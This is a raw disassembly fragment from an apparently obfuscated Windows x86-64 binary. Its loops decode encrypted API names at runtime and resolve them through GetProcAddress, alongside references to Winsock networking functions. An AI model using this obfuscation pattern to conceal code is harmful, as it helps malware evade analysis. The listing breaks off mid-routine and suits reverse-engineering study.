lea edi, [r10 + rcx]
add dil, 0x80
dec r11
inc r11
jmp 0x1400643d3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006482d
lea edx, [r11 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400643d3
movzx r9d, r11b
lea edx, [r9 - 0x20]
movzx eax, dl
and al, r10b
add al, al
movzx edi, byte [rbp + r11 + 0x80]
sub dil, al
sub dil, 0x20
jmp 0x140064dfa
movzx r9d, r11b
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + r11 + 0x80]
lea edi, [r10 + rcx]
sub dil, 0x48
add r9b, 0x44
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x80], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x70
add cl, r10b
mov byte [rbp + r11 + 0x80], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x1400643d3
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x14
jmp 0x140064e5b
movzx r9d, r11b
lea edx, [r9 + 0x1c]
mov ecx, 0x1e
jmp 0x140064def
lea edx, [r11 - 0x7c]
mov ecx, 0x32
jmp 0x140064dc6
movzx r9d, r11b
lea ecx, [r9 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
jmp 0x140064d8d
movzx r9d, r11b
lea edx, [r9 + 0x24]
mov ecx, 2
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x14
movzx eax, r9b
and al, r10b
mov ecx, 0x3a
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x80], cl
inc r8
dec r11
inc r11
jmp 0x1400643d3
lea edx, [r11 - 0xc]
mov ecx, 0x2a
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x1400643d3
movzx r9d, r11b
lea edx, [r9 + 0x5c]
mov ecx, 0x3e
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x54
movzx eax, r10b
and al, r9b
mov ecx, 0x26
sub cl, al
add cl, cl
add cl, dil
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x80], cl
add rbx, r8
jmp 0x140064e5b
lea ecx, [r11 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5c
add rbx, r8
jmp 0x140064e5b
lea rcx, [r11 + r12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x34
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400643d3
lea rcx, [r11 + r13]
movzx eax, cl
and al, r9b
mov edx, 0x22
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r9b
movzx eax, byte [rbp + r11 + 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x1400643d3
sub r11b, 4
movzx eax, r11b
and al, r10b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
jmp 0x1400643d0
add r11b, 0x64
movzx eax, r10b
and al, r11b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
jmp 0x1400643b6
lea rdx, [rbp + 0x17dfd90]
jmp 0x140064efe
lea rdx, [rbp + 0x40955c]
jmp 0x140064efe
lea rdx, [rbp + 0x80]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
mov byte [rbp + 0xa0], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xa1], 0xf0
mov byte [rbp + 0xa2], 0xe6
mov byte [rbp + 0xa3], 0x80
mov byte [rbp + 0xa4], 0xf1
mov byte [rbp + 0xa5], 0xfb
mov byte [rbp + 0xa6], 0xfa
mov byte [rbp + 0xa7], 0xf4
mov byte [rbp + 0xa8], 0xef
mov byte [rbp + 0xa9], __WSAFDIsSet
mov byte [rbp + 0xaa], 0xf1
mov byte [rbp + 0xab], 0xf1
mov byte [rbp + 0xac], 0xfb
mov byte [rbp + 0xad], 0xa0
mov byte [rbp + 0xae], 0x1e
xor eax, eax
mov qword [rbp + 0xaf], rax
mov dword [rbp + 0xb7], eax
mov byte [rbp + 0xbb], al
movabs r12, 0xc2051017fa070832
movabs r13, 0xd22d90d7ca3f49c2
movzx edi, byte [rbp + 0x3e0]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x1c
jae 0x140065b47
movzx r10d, byte [rbp + r11 + 0xa0]
mov r9, r10
nop dword [rax]
cmp rbx, r11
ja 0x140065b3e
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006500c
lea rcx, [r11 + r12]
mov rax, rcx
and rax, r10
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r10
sub dil, 0x5e
jmp 0x140065040
je 0x140065ac2
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140065a54
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140065a25
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140065a0a
nop dword [rax]
cmp r8, r11
ja 0x140065b35
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x14006506e
lea edx, [r11 + 0x1a]
movzx eax, dl
and al, r10b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400650b0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400659c0
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006599b
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140065980
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140065931
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140065904
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140065612
nop dword [rax]
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400655f3
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x1400655cf
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x1400655aa
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140065587
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140065569
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14006554e
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14006553c
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14006551d
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x1400654f0
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x1400650c0
lea rbx, [r8 + 0x40]
lea r8, [rbx + 1]
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140065b18
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140065af8
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14006529a
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14006527f
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140065264
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x1400654a3
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14006545a
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14006541a
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x1400653f0
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x1400650c0
lea rbx, [r8 + 0x61]
lea r8, [rbx + 0x3e8]
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x1400653bf
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400653a0
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140065381
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140065366
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140065344
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140065325
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140065304
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x1400652dc
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x1400652b9
lea rbx, [r8 + 0x40]
lea r8, [rbx + 0x10]
jmp 0x1400650c0
lea ecx, [r11 + 0x26]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xa
jmp 0x1400650b0
lea ecx, [r11 - 0x3e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4e
jmp 0x140065040
lea edx, [r11 + 0x5e]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140064fd6
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x1400659da
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140064fc3
lea ecx, [r11 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
dec r11
inc r11
jmp 0x140064fc3
lea ecx, [r11 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7c
movzx r9d, r11b
jmp 0x1400658ba
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
jmp 0x140065a3b
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 4
jmp 0x140065a3b
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
movzx r9d, r11b
jmp 0x14006594f
lea edx, [r11 + 0x14]
movzx eax, dl
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140065a7b
lea edx, [r11 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140064fc3
lea edx, [r11 - 0x4a]
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
mov byte [rbp + r11 + 0xa0], dil
inc r11
jmp 0x140064fc3
lea ecx, [r11 + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3e
cmp r8, 0x41
jb 0x14006540a
movzx r9d, r11b
lea ecx, [r9 - 0x14]
movzx eax, cl
and al, r10b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x1400659da
lea edx, [r11 - 0x12]
movzx eax, dl
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 6
jae 0x140065894
lea rcx, [r8 + 3]
cmp rbx, rcx
jbe 0x1400657dd
lea ecx, [r11 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1c
jmp 0x140065430
lea edx, [r11 - 0x76]
movzx eax, dl
and al, r10b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 0x42
je 0x1400658e7
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x1400656da
lea ecx, [r11 - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x66
jmp 0x140065474
lea ecx, [r11 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x44
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140064fc3
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140065a7b
movzx r9d, r11b
lea edx, [r9 - 0x2c]
mov ecx, 0x1a
jmp 0x14006593e
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x140065a3b
lea ecx, [r11 + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x54
add rbx, r8
jmp 0x140065a3b
movzx r9d, r11b
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400658ba
lea edx, [r11 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140064fc3
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
inc r8
dec r11
inc r11
jmp 0x140064fc3
movzx r9d, r11b
lea ecx, [r9 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x64
jmp 0x1400659da
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x140065639
lea ecx, [r11 + 0x32]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5e
jmp 0x1400654bd
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006566f
lea ecx, [r11 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6c
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140064fc3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140065693
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
jmp 0x140065a7b
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400656ae
movzx r9d, r11b
lea edx, [r9 - 4]
mov ecx, recvfrom
jmp 0x14006593e
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400654bd
movzx r9d, r11b
lea ecx, [r9 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
jmp 0x1400659da
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140065702
movzx r9d, r11b
lea ecx, [r9 + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x22
jmp 0x1400659da
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140065730
lea edx, [r11 + 0x16]
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140064fc3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140065757
lea ecx, [r11 - 0x22]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x12
add rbx, r8
jmp 0x140065a3b
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006577f
lea edx, [r11 + 0x42]
movzx eax, dl
and al, r10b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140065a3b
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400657a3
lea ecx, [r11 + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x46
jmp 0x140065a7b
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140065474
lea ecx, [r11 + 0x6e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 2
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140064fc3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140065817
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140064fc3
cmp rbx, rcx
jne 0x14006583b
movzx r9d, r11b
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
jmp 0x14006594f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140065864
movzx r9d, r11b
lea edx, [r9 + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400658ba
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140065430
movzx r9d, r11b
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400659da
movzx r9d, r11b
lea edx, [r9 + 0x50]
movzx eax, dl
and al, r10b
add al, al
movzx edi, byte [rbp + r11 + 0xa0]
sub dil, al
sub dil, 0x30
add dil, r10b
add dil, dl
sub r9b, 0x7e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
add cl, cl
add cl, r9b
add cl, dil
add cl, r10b
mov byte [rbp + r11 + 0xa0], cl
add rbx, r8
jmp 0x140065a3b
movzx r9d, r11b
lea edx, [r9 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006594f
lea ecx, [r11 - 0x62]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x52
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140064fc3
movzx r9d, r11b
lea edx, [r9 - 0x2a]
mov ecx, reloc.WS2_32.dll_send
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x1a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x4a
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0xa0], al
inc r8
add rax, r8
sub r11, rax
jmp 0x140065a7b
lea ecx, [r11 + 0x72]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1e
jmp 0x140065a3b
lea edx, [r11 + 0x46]
movzx eax, dl
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140064fc3
movzx r9d, r11b
lea ecx, [r9 + 0x7e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x72
add r9b, 0x1e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0xa0], cl
inc r8
dec r11
inc r11
jmp 0x140064fc3
lea ecx, [r11 + 0x26]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xa
add rbx, r8
jmp 0x140065a3b
lea rcx, [r11 + r13]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4e
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140064fc3
movabs rdx, 0xca195077e22328fa
add rdx, r11
movzx r10d, r9b
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
lea edx, [r11 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0xa0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140064fc3
movabs rcx, 0x460f3047ee151896
add rcx, r11
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1a
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140064fc3
sub r11b, 6
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
jmp 0x140064fc0
sub r11b, 0x6a
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x1a
jmp 0x140064fa5
lea rdx, [rbp + 0x1798238]
jmp 0x140065b4e
lea rdx, [rbp + 0x808a6a]
jmp 0x140065b4e
lea rdx, [rbp + 0xa0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x60], rax
mov byte [rbp + 0x270], 0xfa
mov byte [rbp + 0x271], 0xe8
mov byte [rbp + 0x272], 0xd9
mov byte [rbp + 0x273], 0xda
mov byte [rbp + 0x274], 0xd7
mov byte [rbp + 0x275], 0xd5
mov byte [rbp + 0x276], 0xe3
mov byte [rbp + 0x277], 0xd1
mov byte [rbp + 0x278], 0x83
mov byte [rbp + 0x279], 0xd9
mov byte [rbp + 0x27a], 0x9b
mov byte [rbp + 0x27b], 0xac
mov byte [rbp + 0x27c], 0xaf
mov byte [rbp + 0x27d], 0xfc
mov byte [rbp + 0x27e], 0xb6
mov byte [rbp + 0x27f], 0xfe
mov byte [rbp + 0x280], 0x3c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x281], xmm0
mov qword [rbp + 0x291], rax
mov dword [rbp + 0x299], eax
mov byte [rbp + 0x29d], al
movabs rsi, 0xb4f9b8c7fe98d536
movabs r13, 0xf2d40d77f62dd47a
movabs r12, 0x1eed2a57fbca7fa2
movzx edi, byte [rbp + 0x3e0]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x2e
jae 0x14006671a
movzx r10d, byte [rbp + r11 + 0x270]
mov r9, r10
nop dword [rax]
cmp rbx, r11
ja 0x140066711
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140065c7c
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, r10
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r10
sub dil, 0x7a
jmp 0x140065cb6
je 0x1400666a1
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140066614
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400665e2
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400665a2
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006657e
cmp r8, r11
ja 0x140066708
lea rcx, [r8 + 2]
cmp rbx, rcx
jae 0x140065ce0
lea ecx, [r11 + 0x6e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 2
jmp 0x140065d20
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140066533
cmp rbx, rcx
je 0x14006650e
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400664ef
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400664d3
lea rax, [r8 + 7]
cmp rbx, rax
je 0x1400664b4
nop dword [rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140066193
nop dword [rax]
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140066174
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140066150
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006612f
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140066110
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x1400660f5
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x1400660da
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400660bf
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140066092
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140065d30
lea rbx, [r8 + 1]
lea r8, [rbx + 0x64]
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x1400666eb
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x1400666ce
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140065eb7
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140065e9c
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140066042
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140065ff6
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140065fae
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140065d30
lea rbx, [r8 + 0x80]
lea r8, [rbx + 5]
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140065f81
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140065f66
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140065f4b
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140065f30
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140065f15
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140065ef6
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140065ed2
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140065d30
lea rbx, [r8 + 6]
lea r8, [rbx + 0x20]
jmp 0x140065d30
lea ecx, [r11 + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3e
jmp 0x140065d20
lea ecx, [r11 + 0x7a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x56
jmp 0x140065c46
lea ecx, [r11 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1c
inc r8
dec r11
inc r11
jmp 0x140065c33
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
movzx r9d, r11b
jmp 0x1400665bc
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x1400665f8
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
jmp 0x1400665fb
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x140066632
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x64
jmp 0x14006665e
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
movzx eax, byte [rbp + r11 + 0x270]
add rax, r8
add r11, rax
inc r11
jmp 0x140065c33
lea ecx, [r11 - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1a
cmp r8, 0x1000
jb 0x140066464
movzx r9d, r11b
lea edx, [r9 - 0x7c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x38]
jmp 0x140066551
lea ecx, [r11 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x26
cmp rbx, 5
jae 0x140066474
lea rax, [r8 + 0x400]
cmp rbx, rax
jbe 0x140066393
lea edx, [r11 + 0x4c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x14
add dil, dl
jmp 0x140065fc4
lea ecx, [r11 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x32
lea rax, [r8 + rbx]
cmp rax, 0x64
je 0x14006649b
lea rcx, [r8 + 4]
cmp rbx, rcx
jbe 0x1400662b2
lea edx, [r11 - 0x22]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x12
add dil, dl
jmp 0x14006600c
lea ecx, [r11 - 0x6c]
movzx eax, cl
